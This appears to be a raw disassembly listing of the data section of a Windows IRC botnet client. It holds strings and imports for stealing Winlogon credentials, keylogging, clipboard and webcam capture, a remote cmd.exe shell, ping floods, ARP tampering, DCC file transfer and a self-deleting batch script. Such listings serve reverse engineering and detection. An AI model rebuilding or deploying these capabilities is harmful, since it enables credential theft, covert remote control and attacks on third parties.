'SeDebugPrivilege',0 ; DATA XREF: sub_409037+40o ; sub_409037+161o ... align 10h unk_42CD60 db 2 ; DATA XREF: sub_409037+35o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aOnlySupportedO db ' Only supported on Windows NT/2000.',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_409209+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_409209+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_409209+AFo align 10h unk_42CDC0 db 2 ; DATA XREF: sub_40966F+70o ; sub_409706+C7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_0 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/%S).',0 align 4 unk_42CE2C db 2 ; DATA XREF: sub_409706+E1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aTheWindowsLo_1 db ' The Windows logon (Pid: <%d>) information is: Domain: \\%S, Us' db 'er: (%S/(N/A)).',0 align 4 aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40981F+C50o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40981F+C48o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40981F:loc_40A45Ao align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40981F+BE6o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40981F+BD9o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40981F+BCCo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40981F+BBFo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40981F+BB2o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40981F+BAAo align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40981F:loc_40A3BCo align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40981F+B68o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40981F+B60o align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40981F:loc_40A372o aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40981F+B0Eo align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40981F+B01o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40981F+AF4o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40981F+AECo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40981F:loc_40A2FEo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40981F+AAAo align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40981F+AA2o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40981F:loc_40A2B4o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40981F+A60o align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40981F+A58o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40981F:loc_40A26Ao align 4 aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40981F+9CEo align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40981F+9C1o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40981F+9B4o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40981F+9A7o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40981F+99Ao align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40981F+98Do align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40981F+980o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40981F+973o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40981F+966o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40981F+959o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40981F+951o aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40981F:loc_40A15Fo align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40981F+903o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40981F+8F6o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40981F+8EEo align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40981F:loc_40A100o align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40981F+8B4o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40981F+842o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40981F+835o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40981F+828o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40981F+81Bo align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40981F+80Eo align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40981F+801o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40981F+7F4o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40981F+7E7o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40981F+7DAo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40981F+7D2o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40981F:loc_409FE0o aClosesocket db 'closesocket',0 ; DATA XREF: sub_40981F+688o aGetpeername db 'getpeername',0 ; DATA XREF: sub_40981F+67Bo aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40981F+66Eo align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40981F+661o align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_40981F+654o aGetsockname db 'getsockname',0 ; DATA XREF: sub_40981F+647o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40981F+63Ao align 4 aAccept db 'accept',0 ; DATA XREF: sub_40981F+62Do align 4 aListen db 'listen',0 ; DATA XREF: sub_40981F+620o align 4 aSelect db 'select',0 ; DATA XREF: sub_40981F+613o align 4 aBind db 'bind',0 ; DATA XREF: sub_40981F+60Bo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40981F+5F9o align 10h aRecv db 'recv',0 ; DATA XREF: sub_40981F+5ECo align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40981F+5DFo align 10h aSend db 'send',0 ; DATA XREF: sub_40981F+5D2o ; sub_40EE72+220Do align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40981F+5C5o align 10h aNtohs db 'ntohs',0 ; DATA XREF: sub_40981F+5B8o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40981F+5ABo align 10h aHtons db 'htons',0 ; DATA XREF: sub_40981F+59Eo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40981F+591o align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40981F+584o align 10h aConnect db 'connect',0 ; DATA XREF: sub_40981F+577o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40981F+56Ao aSocket db 'socket',0 ; DATA XREF: sub_40981F+55Do align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40981F+550o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40981F+543o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40981F+536o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40981F+529o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40981F+51Co align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40981F+50Fo align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40981F+507o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40981F+4F6o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40981F+483o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40981F+476o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_40981F+469o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40981F+45Co align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40981F+44Fo align 10h aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40981F+442o align 10h aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40981F+435o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40981F+428o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40981F+420o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40981F:loc_409C2Eo align 10h aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40981F:loc_409C06o align 10h aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40981F+38Fo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40981F+382o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40981F+375o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40981F+368o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40981F+35Bo align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40981F+34Eo align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40981F+341o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40981F:loc_409B58o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40981F+309o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40981F+2FCo align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40981F:loc_409B13o align 4 aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40981F+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40981F+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40981F+292o align 4 aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40981F+285o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40981F+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40981F+270o align 4 aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40981F:loc_409A7Eo align 4 aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40981F+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40981F+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40981F+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40981F:loc_409A17o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40981F+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40981F+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40981F+186o align 10h aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40981F+179o align 10h aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40981F+16Co align 10h aIswindow db 'IsWindow',0 ; DATA XREF: sub_40981F+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40981F+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40981F+14Ao align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40981F:loc_409954o ; sub_42105F+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40981F:loc_409927o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40981F+A0o align 4 aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40981F+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40981F+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40981F+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40981F+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40981F+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_40981F+52o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40981F+45o align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40981F+38o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40981F+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40981F+23o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40981F+Ao align 4 unk_42D764 db 2 ; DATA XREF: sub_40A4AC+2F2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 6Fh, 72h db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDllTestComplet db ' DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+2CCo align 10h aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1FCo align 4 aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+12Co align 10h aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+C4o align 10h aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A4AC+28o align 10h aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_40AA35+72o align 4 aMirc db 'mIRC',0 ; DATA XREF: sub_40AAFA+5o ; sub_415C5E+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_40AB7C+1Co align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_40AC20+2o aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40AC42+140o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_40AC42+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_40AC42+48o align 4 unk_42D9A8 db 2 ; DATA XREF: sub_40AE02:loc_40AEC1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aNotSupportedBy db ' Not supported by this system.',0 align 4 unk_42D9E8 db 2 ; DATA XREF: sub_40AE02:loc_40AE8Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aUnableToAlloca db ' Unable to allocation ARP cache.',0 align 4 unk_42DA28 db 2 ; DATA XREF: sub_40AE02:loc_40AE5Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheIsEmpt db ' ARP cache is empty.',0 align 4 unk_42DA5C db 2 ; DATA XREF: sub_40AE02+49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorGettingAr db ' Error getting ARP cache: <%d>.',0 align 4 unk_42DA9C db 2 ; DATA XREF: sub_40AF86+13Co db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFinishedSendin db ' Finished sending pings to %s.',0 align 4 unk_42DAD8 db 2 ; DATA XREF: sub_40AF86+6Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPi db ' Error sending pings to %s.',0 align 10h dword_42DB10 dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+1C6o dd 2BBBB02h aFinishedSend_0 db ' Finished sending packets to %s.',0 align 4 dword_42DB4C dd 7A026E02h, 201F6D1Fh, 70647528h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B112+8Eo dd 2BBBB02h aErrorSending_1 db ' Error sending pings to %s.',0 align 4 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_40B390+33o dword_42DB94 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B549o dd 2BBBB02h aCouldNotReadDa db ' Could not read data from proccess.',0Dh,0Ah,0 align 4 dword_42DBD4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417+10Fo dd 2BBBB02h aProccessHasTer db ' Proccess has terminated.',0Dh,0Ah,0 align 4 dword_42DC0C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B417:loc_40B4FDo dd 2BBBB02h aCouldNotRead_0 db ' Could not read data from proccess',0Dh,0Ah,0 align 4 dword_42DC4C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+194o dd 2BBBB02h aFailedToStartI db ' Failed to start IO thread, error: <%d>.',0 align 10h dword_42DC90 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40B56C+14Co dd 2BBBB02h aRemoteCommandP db ' Remote Command Prompt',0 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_40B56C+21o aDdDhDm db '%dd %dh %dm',0 ; DATA XREF: sub_40B721+52o aSysinfoCpuI64u db '[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB total, %sKB free. [Disk]:' ; DATA XREF: sub_40B8D8+297o db ' %s total, %s free. [OS]: Windows %s (%d.%d, Build %d). [Sysdir]:' db ' %s. [Hostname]: %s (%s). [Current User]: %s. [Date]: %s. [Time]:' db ' %s. [Uptime]: %s.',0 align 4 aDdMmmYyyy db 'dd:MMM:yyyy',0 ; DATA XREF: sub_40B8D8+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_40B8D8:loc_40BA3Co align 10h word_42DDD0 dw 3Fh ; DATA XREF: sub_40B8D8:loc_40B9DAr ; sub_40D099+1Fo align 4 dword_42DDD4 dd 28207325h, 297325h ; DATA XREF: sub_40B8D8+EBo dword_42DDDC dd 3F3F3Fh ; DATA XREF: sub_40B8D8:loc_40B99Bo ; ___:loc_415C0Fo a2003 db '2003',0 ; DATA XREF: sub_40B8D8+BAo align 4 aXp db 'XP',0 ; DATA XREF: sub_40B8D8+AAo ; ___:00415BFAo align 4 a2k db '2K',0 ; DATA XREF: sub_40B8D8+98o ; ___:00415BEAo align 10h aMe db 'ME',0 ; DATA XREF: sub_40B8D8+7Eo ; ___:00415BD1o align 4 a98 db '98',0 ; DATA XREF: sub_40B8D8+6Co ; ___:00415BC1o align 4 aNt db 'NT',0 ; DATA XREF: sub_40B8D8+5Ao ; ___:00415BB1o align 4 a95 db '95',0 ; DATA XREF: sub_40B8D8+46o ; ___:00415BA3o align 10h aNetinfoTypeSS_ db '[NETINFO]: [Type]: %s (%s). [IP Address]: %s. [Hostname]: %s.',0 ; DATA XREF: sub_40BB8C+A4o align 10h off_42DE40 dd offset loc_412F4E ; DATA XREF: sub_40BB8C:loc_40BBF8o off_42DE44 dd offset aAqGRodzk?dvpdO ; DATA XREF: sub_40BB8C:loc_40BBEEo ; "AQпу┐\aЮ▌dZK?└V╞╓пo" dword_42DE48 dd 6C616944h, 70752Dh ; DATA XREF: sub_40BB8C+5Bo dword_42DE50 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_40BB8C+48o unk_42DE60 db 2 ; DATA XREF: sub_40BC4B:loc_40BE04o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToConnec db 'Failed to connect to HTTP server.',0 align 10h unk_42DEA0 db 2 ; DATA XREF: sub_40BC4B:loc_40BDFDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aCouldNotOpenAC db 'Could not open a connection.',0 align 4 dword_42DEDC dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+1A0o dd 0BB022029h, 202002BBh, 61766E49h, 2064696Ch, 2E4C5255h dd 0 unk_42DF08 db 2 ; DATA XREF: sub_40BC4B:loc_40BDDEo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; ╩ db 2, 2 dup(20h) aFailedToGetReq db 'Failed to get requested URL from HTTP server.',0 align 4 dword_42DF54 dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40BC4B+18Co dd 0BB022029h, 202002BBh, 204C5255h, 69736976h, 2E646574h dd 0 dword_42DF80 dd 2A2F2Ah ; DATA XREF: sub_40BC4B+3Bo dword_42DF84 dd 202E6425h, 3D207325h, 732520h ; DATA XREF: sub_40BEF5+35o dword_42DF90 dd 6C415B2Dh, 20736169h, 7473694Ch, 2D5Dh ; DATA XREF: sub_40BEF5+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_40BF6D+60o align 4 dword_42DFC4 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 1F702E73h, 29671F6Ch ; DATA XREF: sub_40C00D+1Ao dd 0BBBB0220h, 20202002h, 61656C43h, 2E646572h, 0 dword_42DFEC dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+DCo dd 2BBBB02h, 694C2020h, 63207473h, 6C706D6Fh, 2E657465h dd 0 dword_42E018 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C07F+3Fo dd 2BBBB02h, 65422020h, 6E6967h dword_42E038 dd 80000002h, 42F6CCh, 80000002h, 42F6FCh, 80000001h, 42F734h ; DATA XREF: sub_40C1AE+7o dword_42E050 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C1AE+63o ; sub_40C351+170o dd 2BBBB02h aFailedToSendTo db ' Failed to send to Remote command shell.',0 align 4 dword_42E094 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+ABo dd 2BBBB02h aFailedToOpenRe db ' Failed to open remote command shell.',0 align 4 dword_42E0D4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C351+47o ; sub_40C512+FDo dd 2BBBB02h aFailedToOpenSo db ' Failed to open socket.',0 align 4 dword_42E108 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+362o ; sub_40C8B4+156o dd 2BBBB02h, 6F532020h, 74656B63h, 72726520h, 2E726Fh dword_42E130 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+2FAo dd 2BBBB02h aTransferComp_0 db ' Transfer complete to IP: %s, Filename: %s (%s bytes).',0 dword_42E180 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+202o dd 2BBBB02h aUnableToOpenSo db ' Unable to open socket.',0 align 4 dword_42E1B4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+1CBo dd 2BBBB02h, 65532020h, 7420646Eh, 6F656D69h, 2E7475h dword_42E1DC dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: sub_40C512+16Ao dd 169h dword_42E1F4 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+127o dd 2BBBB02h aFileDoesnTExis db ' File doesn',27h,'t exist.',0 align 4 dword_42E224 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+82o dd 2BBBB02h aFailedToBindTo db ' Failed to bind to socket.',0 dword_42E258 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C512+44o dd 2BBBB02h aFailedToCreate db ' Failed to create socket.',0 align 4 dword_42E28C dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+1D1o dd 2BBBB02h aTransferComp_1 db ' Transfer complete from IP: %s, Filename: %s (%s bytes).',0 align 10h dword_42E2E0 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+CBo dd 2BBBB02h aErrorOpeningSo db ' Error opening socket.',0 dword_42E310 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+ABo dd 2BBBB02h aErrorOpeningFi db ' Error opening file for writing.',0 align 4 aAB db 'a+b',0 ; DATA XREF: sub_40C8B4+97o dword_42E350 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40C8B4+83o dd 2BBBB02h aErrorUnableToW db ' Error unable to write file to disk.',0 align 10h unk_42E390 db 2 ; DATA XREF: sub_40CAF1+493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 64h, 6Fh, 77h db 6Eh ; n db 6Ch, 6Fh, 61h db 64h ; d db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 